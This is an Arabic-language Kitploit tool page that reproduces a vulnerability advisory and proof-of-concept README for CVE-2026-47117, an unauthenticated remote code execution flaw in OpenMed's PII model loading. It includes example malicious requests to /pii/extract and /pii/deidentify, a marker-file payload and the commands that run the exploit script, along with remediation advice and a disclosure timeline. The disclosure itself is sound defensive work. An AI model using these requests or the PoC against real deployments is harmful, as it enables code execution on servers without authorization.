Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-47117-openmed-rce — OpenMed < 1.5.2 ثغرة تنفيذ برمجيات عن بُعد (RCE) بدون مصادقة عبر تحميل نموذج عامل تصفية الخصوصية للبيانات الشخصية (PII) مع trust_remote_code=True | Kitploit
أدوات/GitHubGitHub/saiteja-erukude/cve-2026-47117-openmed-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقأمن الذكاء الاصطناعي
GitHubsaiteja-erukude/cve-2026-47117-openmed-rce

CVE-2026-47117-openmed-rce

OpenMed < 1.5.2 ثغرة تنفيذ برمجيات عن بُعد (RCE) بدون مصادقة عبر تحميل نموذج عامل تصفية الخصوصية للبيانات الشخصية (PII) مع trust_remote_code=True

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 5 أياملم تتم المراجعة بعد

CVE-2026-47117: تنفيذ تعليمات برمجية عن بُعد دون مصادقة في OpenMed عبر تحميل نماذج PII

الخطورة: حرجة، CVSS 4.0 9.3، CVSS 3.1 9.8 (مُسندة من VulnCheck، بصفتها CNA)

المتجه (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

المتجه (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المتأثر: OpenMed < 1.5.2

أُصلح في: 1.5.2

CWE: CWE-94 (التحكم غير السليم في توليد الكود، حقن الكود)

أُبلغ من قبل: Sai Teja Erukude

CNA: VulnCheck

نُشر: 2 يونيو 2026


الملخص

يحتوي OpenMed قبل الإصدار 1.5.2 على ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة في مسار تحميل نموذج مرشّح خصوصية PII.

تقبل نقطتا نهاية REST API POST /pii/extract وPOST /pii/deidentify قيمة model_name من نص الطلب. في الإصدارات المعرضة للخطر، استخدم موزّع مرشّح الخصوصية مطابقة جزئية للنصوص (substring matching) بشكل واسع على هذه القيمة الخاضعة لتحكم المهاجم. وبالتالي، يمكن لاسم نموذج مثل attacker/foo-privacy-filter-bar أن يُوجَّه إلى الواجهة الخلفية لمرشّح الخصوصية.

في بيئات النشر غير القائمة على MLX/Torch، كانت تلك الواجهة الخلفية تُحمّل مكونات نماذج Hugging Face عبر مكتبة Transformers مع ضبط trust_remote_code=True. إذا كان مستودع النماذج الخاضع لتحكم المهاجم يحتوي على كود Transformers مخصص تتم الإشارة إليه عبر auto_map في config.json أو tokenizer_config.json، فإن مكتبة Transformers كانت تستورد وتنفّذ كود Python هذا أثناء تحميل النموذج أو المُرمِّز (tokenizer).

كان الكود المستورد يُنفَّذ بصلاحيات عملية خدمة OpenMed.

الأثر

يمكن لمهاجم عن بُعد دون مصادقة يستطيع الوصول إلى REST API الخاص بـ OpenMed تنفيذ كود Python تعسفي على الخادم عبر توفير معرّف نموذج خبيث بنمط Hugging Face في model_name.

اعتمادًا على طريقة نشر الخدمة، يمكن أن يتيح ذلك:

  • قراءة أو تعديل الملفات التي يمكن لعملية OpenMed الوصول إليها.
  • الوصول إلى متغيرات البيئة وأسرار التطبيق.
  • استدعاء الخدمات الداخلية التي يمكن الوصول إليها من مضيف OpenMed.
  • تعطيل سلوك التطبيق أو استبداله.

نقاط النهاية المتأثرة

يمكن الوصول إلى الثغرة عبر نقطتي نهاية PII معًا، لأن كلتيهما تقبلان model_name وتستخدمان نفس مسار استخراج/تحميل نموذج PII:

root@kitploit:~
POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
root@kitploit:~
POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

التفاصيل الفنية

يحتوي تدفق التحكم المعرض للخطر على فشلين في حدود الثقة:

  1. وثقت واجهة البرمجة في model_name المقدم من المستخدم عند اختيار الواجهة الخلفية لمرشّح الخصوصية.
  2. وثقت الواجهة الخلفية المختارة في كود مستودع النماذج البعيد عبر تحميل مكونات Transformers مع ضبط trust_remote_code=True.

تعامل الموزّع مع أي معرّف نموذج يحتوي على privacy-filter على أنه جزء من عائلة مرشّحات الخصوصية. مما سمح للمعرّفات الخاضعة لتحكم المهاجم، مثل attacker/foo-privacy-filter-bar، بالوصول إلى مسار كود مخصص لنماذج مرشّح الخصوصية الموثوقة من الطرف الأول.

وبمجرد توجيه الطلب إلى هناك، يمكن لمكتبة Transformers تحميل كود مخصص خاضع لتحكم المهاجم عبر auto_map. يحدث هذا الاستيراد أثناء تحميل النموذج/المُرمِّز، قبل الحاجة إلى نجاح أي استدلال (inference) مفيد. وبالتالي، يمكن أن تكون حمولة الإثبات صغيرة بالشكل التالي:

root@kitploit:~
from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)

إثبات المفهوم

يبني poc_exploit.py دليل نماذج محليًا غير ضار بنمط Hugging Face يحتوي اسمه على privacy-filter. تكتب وحدات Transformers المخصصة المُولَّدة ملف علامة (marker file) عند استيرادها. يرسل البرنامج النصي بعد ذلك طلبًا إلى مثيل OpenMed API للاختبار مع استخدام ذلك الدليل كقيمة model_name.

السلوك المتوقع على إصدارات OpenMed المعرضة للخطر هو:

  1. تقبل واجهة البرمجة model_name الخاضع لتحكم المهاجم.
  2. يُرسله التوجيه القائم على المطابقة الجزئية إلى الواجهة الخلفية لمرشّح الخصوصية.
  3. تستورد مكتبة Transformers الوحدة المخصصة المُولَّدة لأن trust_remote_code=True.
  4. يتم إنشاء ملف العلامة، مما يثبت تنفيذ الكود في عملية خدمة OpenMed.
  5. قد يفشل الطلب بعد ذلك لأن النموذج التجريبي ليس نموذج مرشّح خصوصية حقيقيًا؛ وملف العلامة عند وقت الاستيراد هو الدليل ذو الصلة.

شغّل ذلك ضد مثيل اختبار محلي فقط:

root@kitploit:~
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract

إذا كانت خدمة OpenMed تعمل في مكان لا يمكنه الوصول إلى الدليل المحلي المُولَّد، فانشر نموذج اختبار مكافئًا في مستودع Hugging Face خاضع لسيطرتك ومرّر ذلك المعرّف صراحةً:

root@kitploit:~
python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt

المعالجة

قم بالترقية إلى OpenMed 1.5.2 أو إصدار أحدث.

يفصل OpenMed 1.5.2 بين التوجيه والثقة:

  • لم تعد أسماء المستودعات العشوائية التي تحتوي على privacy-filter تُوجَّه عبر مسار مرشّح الخصوصية الموثوق.
  • يضبط PrivacyFilterTorchPipeline القيمة الافتراضية لـ trust_remote_code على False.
  • يُسمح فقط لمستودعات مرشّح الخصوصية الصريحة من الطرف الأول بتحميل الكود البعيد الموثوق.
  • يمكن للمشغّلين الذين يحتاجون إلى نماذج خاصة خاضعة للتحكم إضافتها إلى قائمة السماح عبر OPENMED_TRUSTED_REMOTE_CODE_MODELS.

إذا لم تكن الترقية الفورية ممكنة:

  • لا تعرّض REST API المعرضة للخطر لعملاء غير موثوقين.
  • لا تمرّر قيم model_name الخاضعة لتحكم المستخدم إلى مكتبة Transformers مع ضبط trust_remote_code=True.
  • استبدل توجيه النماذج القائم على المطابقة الجزئية بمعرّفات نماذج موثوقة ودقيقة.
  • حمّل مسبقًا مكونات النماذج المحلية المعتمدة في بيئة الإنتاج وعطّل التنزيل العشوائي للنماذج.

الجدول الزمني للإفصاح

الإشادة والتقدير

اكتشفها وأبلغ عنها Sai Teja Erukude، بالتنسيق عبر VulnCheck.

المراجع

  • سجل CVE: https://www.cve.org/CVERecord?id=CVE-2026-47117
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47117
  • نشرة VulnCheck: https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
  • ملاحظات إصدار OpenMed 1.5.2: https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
  • مشروع OpenMed: https://github.com/maziyarpanahi/openmed
تنزيل الأداة
التاريخالحدث
18 مايو 2026إرسال الثغرة إلى VulnCheck
20 مايو 2026بدء VulnCheck التواصل للإفصاح المنسق
22 مايو 2026تخصيص CVE-2026-47117 بشكل مبدئي
1 يونيو 2026مراجعة وتأكيد إصلاح OpenMed 1.5.2
2 يونيو 2026نشر CVE-2026-47117